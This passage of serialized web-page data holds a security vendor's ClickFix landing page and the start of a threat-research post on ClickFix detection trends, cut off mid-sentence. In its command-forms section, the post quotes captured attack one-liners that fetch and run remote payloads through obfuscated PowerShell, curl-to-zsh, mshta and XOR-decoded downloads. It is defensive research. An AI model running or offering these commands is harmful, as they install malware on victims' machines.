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13.3 10.7 24 24 24s24-10.7 24-24l0-102.1 31 31c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-72-72z",{"createdBy":425,"createdDate":426,"data":427,"folders":620,"id":621,"lastUpdateSource":60,"lastUpdated":622,"lastUpdatedBy":623,"meta":624,"modelId":629,"name":630,"published":13,"query":631,"screenshot":636,"stageModifiedSincePublish":6,"testRatio":31,"variations":637,"firstPublished":638,"rev":639},"SfUPqW5tkibIPby49keNFMdHFTr1",1790356113419,{"darkTheme":19,"inputs":428,"ogImage":429,"seoDescription":430,"seoTitle":431,"themeId":6,"title":432,"blocks":433,"url":613,"state":614},[],"https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F74294403ba1e49c8960c8572911aace3","Push protects your business from ClickFix threats by spotting malicious pages as they load, catching dangerous commands in the clipboard, and stopping attacks before they execute.","Detect & Block Clickfix Attacks with Push","Shadow AI Trial",[434,463,475,491,528,537,600,608],{"@type":44,"@version":45,"id":435,"component":436},"builder-2b9b5d81619c44d7978db05c8b503209",{"name":437,"options":438,"isRSC":60},"Columns",{"space":439,"columns":440,"stackColumnsAt":462},30,[441],{"blocks":442},[443],{"@type":44,"@version":45,"id":444,"meta":445,"component":447,"responsiveStyles":459},"builder-72449ca5802141b5b9fb7ff62d27bbb4",{"previousId":446},"builder-99edf67dfeaf48cf954334c86f1f0e9e",{"name":448,"tag":448,"options":449,"isRSC":60},"Hero",{"headingLevel":450,"showTrustedBy":19,"spacingBottom":81,"title":451,"bodyText":452,"cta":453,"bullets":456,"graphic":457,"vimeoVideoId":21,"headingSize":458},"h1","\u003Cp class=\"\">Detect and block ClickFix attacks directly in the browser\u003C\u002Fp>","\u003Cp class=\"\">Push protects your business from ClickFix threats by spotting malicious pages as they load, catching dangerous commands in the clipboard, and stopping attacks before they execute.\u003C\u002Fp>\u003Ch3 class=\"\">Deploy Push and never worry about ClickFix again.\u003C\u002Fh3>",{"label":454,"anchorTargetId":455},"Book a Demo","11001100",[],"https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F72f4652dcdf84bd2aa792d3fc953ff6a","xl",{"large":460},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67,"opacity":461},"1","tablet",{"@type":44,"@version":45,"id":464,"meta":465,"component":467,"responsiveStyles":473},"builder-722180dc012a44f0975b07b3c21fb1fb",{"previousId":466},"builder-1d2c830ba17d46eaad5bf4465721fe4a",{"name":468,"tag":468,"options":469,"isRSC":60},"CurvedDiagonalUp",{"colourAbove":470,"colourBelow":471,"showAccentLine":19,"spacingBottom":472},"transparent","white","medium",{"large":474},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67},{"@type":44,"@version":45,"id":476,"meta":477,"component":479,"responsiveStyles":488},"builder-5302bd699e0a43d6a25cf0a1c618ba45",{"previousId":478},"builder-df55917f76c846afa4965d6d67eb6fee",{"name":480,"tag":480,"options":481,"isRSC":60},"ArcadeDemo",{"title":482,"captionAlignment":483,"captionColour":484,"backgroundColour":471,"roundedCorners":485,"shadow":81,"spacingBottom":472,"arcadeDemoUrl":486,"caption":487},"ClickFix Demo","center","black","2xl","https:\u002F\u002Fdemo.arcade.software\u002FqhzGMAx2q3b6IRlHqBsB?embed","Learn more about ClickFix attacks and how Push's browser security platform protects your business from malicious copy-and-paste threats.",{"large":489},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67,"paddingBottom":490},"0px",{"@type":44,"@version":45,"id":492,"meta":493,"component":495,"responsiveStyles":526},"builder-bc28a5f6ca014b3a81bccaa2b3e6a5d9",{"previousId":494},"builder-52fb92ab80ba40b1806226fd80d7dd09",{"name":496,"tag":496,"options":497,"isRSC":60},"AlternatingRows",{"headingLevel":498,"backgroundColour":499,"defaultTextColour":500,"imageFrame":501,"mobileStart":503,"desktopStart":504,"desktopBreakpoint":505,"spacingBottom":506,"rows":507,"headingSize":485},"h2","#ffffff","#000000",{"border":484,"borderStyle":502,"corners":485,"shadow":485},"offsetThick","text","image","md","small",[508,515,522],{"title":509,"content":510,"image":511,"cta":512},"\u003Ch2 class=\"\">\u003Cstrong class=\"\">ClickFix attacks are the number one threat reaching your users' browsers\u003C\u002Fstrong>\u003C\u002Fh2>","\u003Cp class=\"\">ClickFix and its derivatives now account for the majority of browser attacks we detected — an average of 52% through Q2, rising to 67% in August. Microsoft found the same pattern in its own telemetry, recording ClickFix as its top initial access vector at 47% of detections.\u003C\u002Fp>\u003Cp class=\"\">What makes it hard to stop is where it comes from. Four in five ClickFix payloads Push intercepted in 2026 reached users through search engines rather than email, served from more than 5,400 compromised legitimate websites. With 84 distinct command variants observed — 34 of them seen only once — there's no signature to match and no domain list to block. Get the full details by reading our ClickFix research report.\u003C\u002Fp>","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F5333dc3a3a8a46789fba935bcb80a5d6",{"url":513,"label":514,"openInNewTab":19},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fthe-state-of-clickfix-by-detection-data","Read the report",{"title":516,"content":517,"image":518,"cta":519},"\u003Cp class=\"\">\u003Cstrong class=\"\">Most security tools miss Clickfix\u003C\u002Fstrong>\u003C\u002Fp>","\u003Cp class=\"\">Endpoint tools are built around the assumption that malware arrives as a file. ClickFix turns this assumption on its head. The payload is executed by the user through a legitimate system utility, so there is no download to intercept or suspicious process to flag. Web sandboxes and email filters face the same problem when the delivery channel is a malicious ad or a compromised website rather than an attachment.\u003C\u002Fp>\u003Cp class=\"\">\u003Ca href=\"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fconsentfix\" rel=\"noopener noreferrer\" target=\"_blank\" class=\"\">Browser-native variants like ConsentFix\u003C\u002Fa> remove even the endpoint execution step, leaving traditional tools with nothing to act on. The attack completes inside the browser session, where most security tools have no visibility.\u003C\u002Fp>\u003Cp class=\"\">Unlike traditional phishing, ClickFix lures mimic interactions users encounter legitimately every day — CAPTCHAs, error messages, install prompts — making them harder to train against than a suspicious email.\u003C\u002Fp>","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F4a5af2597e2d4afdab9e10c63ff7e3ac?format=webp",{"url":520,"openInNewTab":19,"label":521},"\u002Fdemo","Block ClickFix Now",{"title":523,"content":524,"image":525},"\u003Ch2>\u003Cstrong>How Push detects and blocks ClickFix attacks\u003C\u002Fstrong>\u003C\u002Fh2>\u003Cp>\u003Cbr>\u003C\u002Fp>","\u003Cp class=\"\">Push intercepts ClickFix and its variants at the source, before the user interacts with the lure, regardless of delivery channel. It identifies the ClickFix page behavior — across fake CAPTCHAs, error messages, and install lures — as they load in the browser, whether the lure arrives through a search ad, a compromised site, or a messaging platform.\u003C\u002Fp>\u003Cp class=\"\">Push also analyzes clipboard contents for malicious commands. When a page writes PowerShell, mshta, curl, or other suspicious commands to the clipboard, Push detects the payload and can block or warn in real time. This clipboard analysis is scoped to malicious actions — legitimate clipboard use is unaffected.\u003C\u002Fp>\u003Cp class=\"\">For browser-native variants like ConsentFix, where there is no endpoint activity to detect, browser visibility is the only reliable detection point. Push operates there by default. Because Push operates in the browser, it provides ClickFix detection on unmanaged devices where EDR is absent — contractors, BYOD users, and developer machines with tuned-down endpoint controls.\u003C\u002Fp>","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F900ceb804d4d45c29a51ae2763366375",{"large":527},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67,"paddingBottom":490},{"@type":44,"@version":45,"id":529,"meta":530,"component":532,"responsiveStyles":534},"builder-31b433c38d2f4ce68ac9a1bdb1ca8581",{"previousId":531},"builder-635667ba0a5e48c68125ea9942b72358",{"name":468,"tag":468,"options":533,"isRSC":60},{"colourAbove":471,"colourBelow":484,"showAccentLine":19,"spacingBottom":81},{"large":535},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67,"marginBottom":536},"24px",{"@type":44,"@version":45,"id":538,"meta":539,"component":541,"children":545,"responsiveStyles":593},"builder-c60ad451bd144e69aaf0da60e1819d5f",{"previousId":540},"builder-b5202578c6124daba9f705dbced5b1de",{"name":542,"options":543,"isRSC":60},"Core:Section",{"maxWidth":544,"lazyLoad":6},1000,[546],{"@type":44,"@version":45,"id":547,"meta":548,"component":550,"responsiveStyles":591},"builder-5fa816dfecde49b3a77a6fc9a095fa51",{"previousId":549},"builder-bdc9f8c0f74c4c26b3ff0706069fdf7f",{"name":437,"options":551,"isRSC":19},{"columns":552,"space":590,"stackColumnsAt":462,"reverseColumnsWhenStacked":19},[553,575],{"blocks":554},[555,565],{"@type":44,"@version":45,"id":556,"component":557,"responsiveStyles":561},"builder-511d090027bc4975918c94eab32c7672",{"name":558,"tag":558,"options":559,"isRSC":60},"PageTitle",{"title":560},"\u003Cp class=\"\">See a live demo\u003C\u002Fp>\u003Cp class=\"\"> of the Push platform\u003C\u002Fp>",{"large":562,"medium":563,"small":564},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67},{"display":81},{"display":81},{"@type":44,"@version":45,"id":566,"component":567,"responsiveStyles":571},"builder-2a29e452764241f7b37243afd6bf363b",{"name":568,"tag":568,"options":569,"isRSC":60},"PageDescription",{"description":570},"\u003Cp class=\"\">Discover how Push shields your business from ClickFix, ConsentFix, and every other malicious copy-and-paste attack technique.\u003C\u002Fp>",{"large":572,"medium":573,"small":574},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67},{"display":81},{"display":81},{"blocks":576},[577],{"@type":44,"@version":45,"id":578,"component":579,"responsiveStyles":588},"builder-ba0cf380bf4644698e632dc4424efc04",{"name":580,"tag":580,"options":581,"isRSC":60},"Form",{"formShortening":6,"workEmailOnly":6,"showRecaptchaText":19,"formTitle":582,"prodFormId":583,"successTitle":584,"successDescription":585,"segmentId":586,"segmentFriendlyName":587,"formAnchorId":455},"Request a demo","65bdf4d1-d866-4b17-b92a-3cb13e3902f8","\u003Cp>Your demo request has been sent to our team!\u003C\u002Fp>","\u003Cp>Push will reach out shortly to schedule your demo, we are looking forward to the conversation.\u003C\u002Fp>","book_a_demo","Book a demo",{"large":589},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67},20,{"large":592},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67},{"large":594},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67,"paddingLeft":595,"paddingRight":595,"paddingTop":595,"paddingBottom":595,"marginTop":596,"minHeight":597,"maxWidth":598,"marginLeft":599,"marginRight":599},"20px","31px","100px","1600px","auto",{"@type":44,"@version":45,"id":601,"component":602,"responsiveStyles":606},"builder-ddc3465bc686415fa659e24ad37732b4",{"name":603,"options":604,"isRSC":60},"LatestResources",{"sectionHeading":605,"customClass":21,"backgroundColour":470},"Latest resources",{"large":607},{"display":63,"flexDirection":64,"position":65,"flexShrink":66,"boxSizing":67},{"id":609,"@type":44,"tagName":73,"properties":610,"responsiveStyles":611},"builder-pixel-9sk8b3sowa9",{"src":75,"aria-hidden":76,"alt":21,"width":66,"height":66},{"large":612},{"height":66,"width":66,"display":79,"opacity":66,"overflow":80,"pointerEvents":81},"\u002Flp\u002Fclickfix",{"deviceSize":83,"location":615},{"pathname":613,"path":616,"query":619},[617,618],"lp","clickfix",{},[],"ea1c681595fe4735846080d4d8857a28",1790621274732,"tFqFyIzyczYOCRogcShKk6KBmEB2",{"breakpoints":625,"hasAutosaves":6,"hasErrors":6,"hasLinks":6,"kind":626,"lastPreviewUrl":627,"originalContentId":628,"winningTest":60},{"medium":16,"small":17,"xsmall":18},"page","https:\u002F\u002Fpushsecurity.com\u002Flp\u002Fclickfix?builder.space=f3a1111ff5be48cdbb123cd9f5795a05&builder.user.permissions=read%2Ccreate%2Cpublish%2CeditDesigns%2CeditLayouts%2CeditLayers%2CeditContentPriority%2CeditFolders%2CcreateProjects%2CsendPullRequests%2CfusionHostingPublish&builder.user.role.name=Designer&builder.user.role.id=creator&builder.cachebust=true&builder.preview=landing-page&builder.noCache=true&builder.allowTextEdit=true&__builder_editing__=true&builder.overrides.landing-page=ea1c681595fe4735846080d4d8857a28&builder.overrides.ea1c681595fe4735846080d4d8857a28=ea1c681595fe4735846080d4d8857a28&builder.overrides.landing-page:\u002Flp\u002Fclickfix=ea1c681595fe4735846080d4d8857a28&builder.options.locale=Default","467ae222e992474091a8a106ca382926","04772f22863841c194aa5f87751b811b","ClickFix PPC Landing Page",[632],{"@type":633,"operator":634,"property":635,"value":613},"@builder.io\u002Fcore:Query","is","urlPath","https:\u002F\u002Fcdn.builder.io\u002Fapi\u002Fv1\u002Fimage\u002Fassets%2Ff3a1111ff5be48cdbb123cd9f5795a05%2F0c4191f5e2ea451fb2919e3f0392eb3d",{},1790369654221,"xvrl6ti7iwe",[641,5211,8886,14400],{"id":642,"title":643,"authorsCollection":644,"content":654,"extension":2116,"faqItemsCollection":2117,"faqTitle":60,"featured":6,"hashTags":60,"meta":2119,"metaTitle":2120,"ogImage":60,"postType":2121,"publishedDate":2122,"relatedBlogPostsCollection":2123,"slug":5135,"stem":5136,"subtitle":60,"summary":5137,"synopsis":5148,"sys":5149,"tagsCollection":5152,"topicsCollection":5156,"__hash__":5210},"blog\u002Fblog\u002Fthe-state-of-clickfix-by-detection-data.json","The state of ClickFix: what Push detection data tells us in H2 2026",{"items":645},[646],{"fullName":647,"firstName":648,"jobTitle":649,"socialLinks":650,"profilePicture":652},"Dan Green","Dan","Threat Research",[651],"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fdaniel-g-\u002F",{"url":653},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F7jik1VhFgA3kgzXBXTm2Vw\u002Ffcd8c171da644903d0827eafcfbcaad0\u002FDan_Headshot_2025.png",{"json":655,"links":1919},{"nodeType":656,"data":657,"content":658},"document",{},[659,669,677,684,692,713,722,729,733,742,758,765,773,780,853,861,868,891,898,905,911,918,936,942,1017,1023,1054,1057,1065,1073,1080,1100,1107,1113,1121,1128,1134,1142,1149,1156,1162,1169,1175,1181,1188,1194,1200,1208,1215,1238,1245,1252,1258,1261,1269,1276,1405,1411,1414,1422,1430,1437,1449,1455,1458,1466,1490,1501,1507,1515,1522,1529,1535,1543,1550,1557,1563,1566,1574,1581,1604,1611,1614,1622,1629,1913],{"nodeType":660,"data":661,"content":662},"heading-1",{},[663],{"nodeType":503,"value":664,"marks":665,"data":668},"The big picture: the numbers behind ClickFix detections",[666],{"type":667},"bold",{},{"nodeType":670,"data":671,"content":672},"paragraph",{},[673],{"nodeType":503,"value":674,"marks":675,"data":676},"Since rising to prominence in 2024, ClickFix has continued to gather momentum as one of the go-to initial access techniques used by attackers in the wild. Last year, Microsoft reported that ClickFix was the top initial access vector recorded in its detection data, at 47% of detections. The technique is now firmly embedded in both criminal and nation-state affiliated operations around the world. ",[],{},{"nodeType":670,"data":678,"content":679},{},[680],{"nodeType":503,"value":681,"marks":682,"data":683},"But with continued evolution in the form of new sub-techniques, new execution surfaces and payloads, and more advanced infrastructure and tooling (something we’ve seen across the board with increased levels of AI-assisted tool development adding speed and scale), this problem is only getting worse for security teams. ",[],{},{"nodeType":670,"data":685,"content":686},{},[687],{"nodeType":503,"value":688,"marks":689,"data":691},"Through Q2, ClickFix made up an average of 52% of Push’s detections, surpassing other browser-based attacks (predominantly AiTM and device code phishing) for the first time. And in August, this figure reached 67%. ",[690],{"type":667},{},{"nodeType":670,"data":693,"content":694},{},[695,699,704,708],{"nodeType":503,"value":696,"marks":697,"data":698},"Of those detections, ",[],{},{"nodeType":503,"value":700,"marks":701,"data":703},"three specific phishing kits made up 73%",[702],{"type":667},{},{"nodeType":503,"value":705,"marks":706,"data":707},": ERRTRAFFIC, TURNTIP, and NOCHAIN. (TURNTIP and NOCHAIN are Push’s internal names for kits that have not been publicly linked to a named kit or service). ",[],{},{"nodeType":503,"value":709,"marks":710,"data":712},"ERRTRAFFIC was the largest in August, making up 34% of ClickFix detections. ",[711],{"type":667},{},{"nodeType":714,"data":715,"content":721},"embedded-entry-block",{"target":716},{"sys":717},{"id":718,"type":719,"linkType":720},"5jbMODjCUMHnIfLQYsd3Ow","Link","Entry",[],{"nodeType":670,"data":723,"content":724},{},[725],{"nodeType":503,"value":726,"marks":727,"data":728},"More information on the specifics of these kits a little later. ",[],{},{"nodeType":730,"data":731,"content":732},"hr",{},[],{"nodeType":734,"data":735,"content":736},"heading-2",{},[737],{"nodeType":503,"value":738,"marks":739,"data":741},"Delivery continues to favor non-email channels",[740],{"type":667},{},{"nodeType":670,"data":743,"content":744},{},[745,749,754],{"nodeType":503,"value":746,"marks":747,"data":748},"Notably, ClickFix remains a trap that users fall into rather than something they’re targeted with directly. ",[],{},{"nodeType":503,"value":750,"marks":751,"data":753},"4 in 5 ClickFix payloads intercepted by Push in 2026 are accessed from search engines like Google and Bing",[752],{"type":667},{},{"nodeType":503,"value":755,"marks":756,"data":757},": the result of compromised sites, malvertising, and SEO poisoning. This sits significantly above the average, with around half of the attacks detected by Push coming via non-email channels.",[],{},{"nodeType":670,"data":759,"content":760},{},[761],{"nodeType":503,"value":762,"marks":763,"data":764},"The other delivery channels recorded include email, messenger apps, social media, inside business apps like SharePoint, and many more. ",[],{},{"nodeType":670,"data":766,"content":767},{},[768],{"nodeType":503,"value":769,"marks":770,"data":772},"This naturally means they completely bypass email-based security controls.",[771],{"type":667},{},{"nodeType":670,"data":774,"content":775},{},[776],{"nodeType":503,"value":777,"marks":778,"data":779},"This is supported by external reporting. Multiple separate campaigns have been reported involving large-scale compromise of legitimate sites, such as:",[],{},{"nodeType":781,"data":782,"content":783},"unordered-list",{},[784,809,831],{"nodeType":785,"data":786,"content":787},"list-item",{},[788],{"nodeType":670,"data":789,"content":790},{},[791,794,805],{"nodeType":503,"value":21,"marks":792,"data":793},[],{},{"nodeType":795,"data":796,"content":798},"hyperlink",{"uri":797},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fover-5-400-hacked-sites-serve-clickfix-payloads-stored-on-the-blockchain\u002F",[799],{"nodeType":503,"value":800,"marks":801,"data":804},"5,400+ compromised small-business sites",[802],{"type":803},"underline",{},{"nodeType":503,"value":806,"marks":807,"data":808}," across 2,200+ organizations were documented serving ClickFix payloads stored on the blockchain (a technique known as Etherhiding, which we’ll discuss later). ",[],{},{"nodeType":785,"data":810,"content":811},{},[812],{"nodeType":670,"data":813,"content":814},{},[815,818,827],{"nodeType":503,"value":21,"marks":816,"data":817},[],{},{"nodeType":795,"data":819,"content":821},{"uri":820},"https:\u002F\u002Fwww.derp.ca\u002Fresearch\u002Fta2726-wordpress-malware-launchpads\u002F",[822],{"nodeType":503,"value":823,"marks":824,"data":826},"1,509 WordPress sites",[825],{"type":803},{},{"nodeType":503,"value":828,"marks":829,"data":830}," were documented feeding SocGholish\u002FClickFix chains in July 2026.",[],{},{"nodeType":785,"data":832,"content":833},{},[834],{"nodeType":670,"data":835,"content":836},{},[837,840,849],{"nodeType":503,"value":21,"marks":838,"data":839},[],{},{"nodeType":795,"data":841,"content":843},{"uri":842},"https:\u002F\u002Fthehackernews.com\u002F2026\u002F05\u002Fghost-cms-cve-2026-26980-exploited-to.html",[844],{"nodeType":503,"value":845,"marks":846,"data":848},"700+ Ghost CMS sites",[847],{"type":803},{},{"nodeType":503,"value":850,"marks":851,"data":852}," were compromised via CVE-2026-26980 in May 2026 and infected with ClickFix payloads.",[],{},{"nodeType":734,"data":854,"content":855},{},[856],{"nodeType":503,"value":857,"marks":858,"data":860},"LOLBINs and execution surfaces are broadening",[859],{"type":667},{},{"nodeType":670,"data":862,"content":863},{},[864],{"nodeType":503,"value":865,"marks":866,"data":867},"We see a huge variance in commands and execution surfaces targeted. ",[],{},{"nodeType":781,"data":869,"content":870},{},[871,881],{"nodeType":785,"data":872,"content":873},{},[874],{"nodeType":670,"data":875,"content":876},{},[877],{"nodeType":503,"value":878,"marks":879,"data":880},"84 distinct command forms observed, and 34 seen only once. ",[],{},{"nodeType":785,"data":882,"content":883},{},[884],{"nodeType":670,"data":885,"content":886},{},[887],{"nodeType":503,"value":888,"marks":889,"data":890},"20+ binaries including PowerShell, echo, base64, bash, curl, mshta, cmd, zsh, conhost, rundll32, msiexec, pcalua, net, wmic, sh, eval, cscript, wscript, certutil, and schtasks.",[],{},{"nodeType":670,"data":892,"content":893},{},[894],{"nodeType":503,"value":895,"marks":896,"data":897},"echo, base64, and openssl appear frequently as plumbing (decoding or printing data within a command chain rather than executing it), while msiexec, rundll32, pcalua, finger, and others each appear in a handful of payloads, reflecting the LOLBin rotation pattern where operators cycle through trusted binaries to stay ahead of endpoint detection rules. ",[],{},{"nodeType":670,"data":899,"content":900},{},[901],{"nodeType":503,"value":902,"marks":903,"data":904},"Since the main kits all read their configuration from a contract rather than the page, payload and lure are fetched at load and can be swapped without the page changing. ",[],{},{"nodeType":714,"data":906,"content":910},{"target":907},{"sys":908},{"id":909,"type":719,"linkType":720},"1GylosLougBNAuvqMGGpSW",[],{"nodeType":670,"data":912,"content":913},{},[914],{"nodeType":503,"value":915,"marks":916,"data":917},"Some of the common command forms we’ve captured include:",[],{},{"nodeType":781,"data":919,"content":920},{},[921],{"nodeType":785,"data":922,"content":923},{},[924],{"nodeType":670,"data":925,"content":926},{},[927,932],{"nodeType":503,"value":928,"marks":929,"data":931},"macOS\u002FLinux. ",[930],{"type":667},{},{"nodeType":503,"value":933,"marks":934,"data":935},"The most primitive shape we see. A base64 blob is decoded inline and fed straight into bash through a herestring. The decoded text is itself a curl download piped to bash. bash \u003C\u003C\u003C $(echo \"Y3VybCAtcyAnaHR0cHM6Ly9zeXN0ZW1sb2dpY29wY29wdGltaXplci5jb21sd…\" | base64 -d)",[],{},{"nodeType":714,"data":937,"content":941},{"target":938},{"sys":939},{"id":940,"type":719,"linkType":720},"1yFYXNAZjBiQagdh9c0lCz",[],{"nodeType":781,"data":943,"content":944},{},[945,960,974,989,1003],{"nodeType":785,"data":946,"content":947},{},[948],{"nodeType":670,"data":949,"content":950},{},[951,956],{"nodeType":503,"value":952,"marks":953,"data":955},"Windows.",[954],{"type":667},{},{"nodeType":503,"value":957,"marks":958,"data":959}," PowerShell fetches a script from a bare IP address (masked here) and runs it in memory, never touching disk. powershell -c iex(irm \u003Cip> -UseBasicParsing)",[],{},{"nodeType":785,"data":961,"content":962},{},[963],{"nodeType":670,"data":964,"content":965},{},[966,970],{"nodeType":503,"value":952,"marks":967,"data":969},[968],{"type":667},{},{"nodeType":503,"value":971,"marks":972,"data":973}," Fetch-and-run one-liner — PowerShell downloads from a hostname and executes in memory. powershell iex(irm wirelesswebdevice.com -UseBasicParsing)",[],{},{"nodeType":785,"data":975,"content":976},{},[977],{"nodeType":670,"data":978,"content":979},{},[980,985],{"nodeType":503,"value":981,"marks":982,"data":984},"macOS\u002FLinux.",[983],{"type":667},{},{"nodeType":503,"value":986,"marks":987,"data":988}," The URL is hidden in base64, decoded by openssl, fetched with curl and piped into zsh. curl -s $(echo \"aHR0cHM6Ly9xdWVzdC0yMi5jb20vY3VybC8wNHRncXNpM3…\" | openssl base64 -d -A) | zsh",[],{},{"nodeType":785,"data":990,"content":991},{},[992],{"nodeType":670,"data":993,"content":994},{},[995,999],{"nodeType":503,"value":981,"marks":996,"data":998},[997],{"type":667},{},{"nodeType":503,"value":1000,"marks":1001,"data":1002}," A decoy line impersonating an OpenAI Codex install is echoed first, then the real command decodes a base64 URL and pipes curl into zsh. echo \"npm install -g @openai\u002Fcodex https:\u002F\u002Fopenai.com\u002Fcodex\u002F\" && curl -s $(echo \"aHR0cHM6Ly9xdWVzdC0yMi5jb20vY3VybC8wNHRqd…\" | openssl base64 -d -A) | zsh",[],{},{"nodeType":785,"data":1004,"content":1005},{},[1006],{"nodeType":670,"data":1007,"content":1008},{},[1009,1013],{"nodeType":503,"value":952,"marks":1010,"data":1012},[1011],{"type":667},{},{"nodeType":503,"value":1014,"marks":1015,"data":1016}," A launcher chain: pcalua starts PowerShell, which starts cmd, which runs mshta. The mshta and the URL are caret-split so neither matches as a string. pcalua -a \"PowerShell\" -c \"saps cmd '\u002Fv\u002Fc m^s^h^t^a h^t^t^p^s^:^\u002F^\u002Ffine-work-team.com\u002F6272' -Wi Hi\"",[],{},{"nodeType":714,"data":1018,"content":1022},{"target":1019},{"sys":1020},{"id":1021,"type":719,"linkType":720},"4LWBMsmwySzy1Ux6B13umE",[],{"nodeType":781,"data":1024,"content":1025},{},[1026,1040],{"nodeType":785,"data":1027,"content":1028},{},[1029],{"nodeType":670,"data":1030,"content":1031},{},[1032,1036],{"nodeType":503,"value":952,"marks":1033,"data":1035},[1034],{"type":667},{},{"nodeType":503,"value":1037,"marks":1038,"data":1039}," A character array is XOR-decoded at runtime to rebuild the URL, then Invoke-WebRequest writes an executable into TEMP and runs it. The URL never appears as text. powershell -nop -w h -c \"$uXsp=([char[]]@(88,68,68,64,10,31,31,9,4,30,1,0,3,30,1,30,1,7,5,10,1,6,4,8,2,31,66,69,94,68,89,93,85,111,5,6,7,83,7,86,7,9,30,85,72,85)|%{[char]($_-bxor48)})-join'';iwr $uXsp -Out $env:TEMP\\u.exe;&$env:TEMP\\u.exe\"",[],{},{"nodeType":785,"data":1041,"content":1042},{},[1043],{"nodeType":670,"data":1044,"content":1045},{},[1046,1050],{"nodeType":503,"value":952,"marks":1047,"data":1049},[1048],{"type":667},{},{"nodeType":503,"value":1051,"marks":1052,"data":1053}," A cmd one-liner that hides the binary name with caret escaping and uses a for-loop to execute whatever the command returns. %COMSPEC% \u002Fc s^t^a^r^t \"\" \u002Fmin for \u002Ff \"delims=@\" %o in (',f^^i^^n^^g^^e^^r ksqALiwYXQ@f^^i^^n^^g^^e^^r^^.^^linkedinsig.com') do %o & '…'",[],{},{"nodeType":730,"data":1055,"content":1056},{},[],{"nodeType":660,"data":1058,"content":1059},{},[1060],{"nodeType":503,"value":1061,"marks":1062,"data":1064},"Trending techniques",[1063],{"type":667},{},{"nodeType":734,"data":1066,"content":1067},{},[1068],{"nodeType":503,"value":1069,"marks":1070,"data":1072},"EtherHiding",[1071],{"type":667},{},{"nodeType":670,"data":1074,"content":1075},{},[1076],{"nodeType":503,"value":1077,"marks":1078,"data":1079},"EtherHiding is where instead of fetching its configuration from a web server, the kit reads it from a smart contract on a public blockchain. There is no host to take down and no domain to block, and the operator changes what is served by writing a transaction.",[],{},{"nodeType":670,"data":1081,"content":1082},{},[1083,1087,1096],{"nodeType":503,"value":1084,"marks":1085,"data":1086},"EtherHiding has been observed across multiple kits and is operating at substantial scale in the wild. ",[],{},{"nodeType":795,"data":1088,"content":1090},{"uri":1089},"https:\u002F\u002Fwww.netskope.com\u002Fblog\u002Fmalware-on-the-blockchain-an-ongoing-campaigns-new-webrtc-twist",[1091],{"nodeType":503,"value":1092,"marks":1093,"data":1095},"Netskope documented an ongoing campaign",[1094],{"type":803},{},{"nodeType":503,"value":1097,"marks":1098,"data":1099}," across 5,400+ compromised websites retrieving payloads from a single BNB Smart Chain testnet smart contract — at zero cost to the operator. Updating that one contract changes what every site delivers, and the blockchain is immune to takedown requests. ",[],{},{"nodeType":670,"data":1101,"content":1102},{},[1103],{"nodeType":503,"value":1104,"marks":1105,"data":1106},"The networks observed by Push include BNB Smart Chain testnet, Polygon, Base and Ethereum Sepolia, reached through ordinary public RPC providers, with most of the traffic on testnets. ",[],{},{"nodeType":714,"data":1108,"content":1112},{"target":1109},{"sys":1110},{"id":1111,"type":719,"linkType":720},"mNMfocLNw54H4UTCACe7D",[],{"nodeType":734,"data":1114,"content":1115},{},[1116],{"nodeType":503,"value":1117,"marks":1118,"data":1120},"Adoption of Win+X",[1119],{"type":667},{},{"nodeType":670,"data":1122,"content":1123},{},[1124],{"nodeType":503,"value":1125,"marks":1126,"data":1127},"Kits instruct the victim through Win+R, through Win+X, or through Terminal on macOS. We’re seeing kits use a combination of both in our detections. The Run dialog (Win+R) opens a user-level shell. Win+X then I opens PowerShell or Terminal as administrator.",[],{},{"nodeType":714,"data":1129,"content":1133},{"target":1130},{"sys":1131},{"id":1132,"type":719,"linkType":720},"7tnN7yTCXvYR9dQCmF1KvX",[],{"nodeType":734,"data":1135,"content":1136},{},[1137],{"nodeType":503,"value":1138,"marks":1139,"data":1141},"AI-themed lures",[1140],{"type":667},{},{"nodeType":670,"data":1143,"content":1144},{},[1145],{"nodeType":503,"value":1146,"marks":1147,"data":1148},"We’ve seen a rise in attacks targeting developer and AI tooling as part of the deception, capitalizing on AI adoption trends. ",[],{},{"nodeType":670,"data":1150,"content":1151},{},[1152],{"nodeType":503,"value":1153,"marks":1154,"data":1155},"First, we saw attackers weaponizing malvertised install guides for popular tools like Claude Code and NotebookLM (which doesn’t even have a legit installer).",[],{},{"nodeType":714,"data":1157,"content":1161},{"target":1158},{"sys":1159},{"id":1160,"type":719,"linkType":720},"17od6VoYRdCC2nEHONs7lF",[],{"nodeType":670,"data":1163,"content":1164},{},[1165],{"nodeType":503,"value":1166,"marks":1167,"data":1168},"Then, attackers took it a step further by generating artifacts using popular LLMs like ChatGPT and Claude, placing more malicious ads with the link to their shared 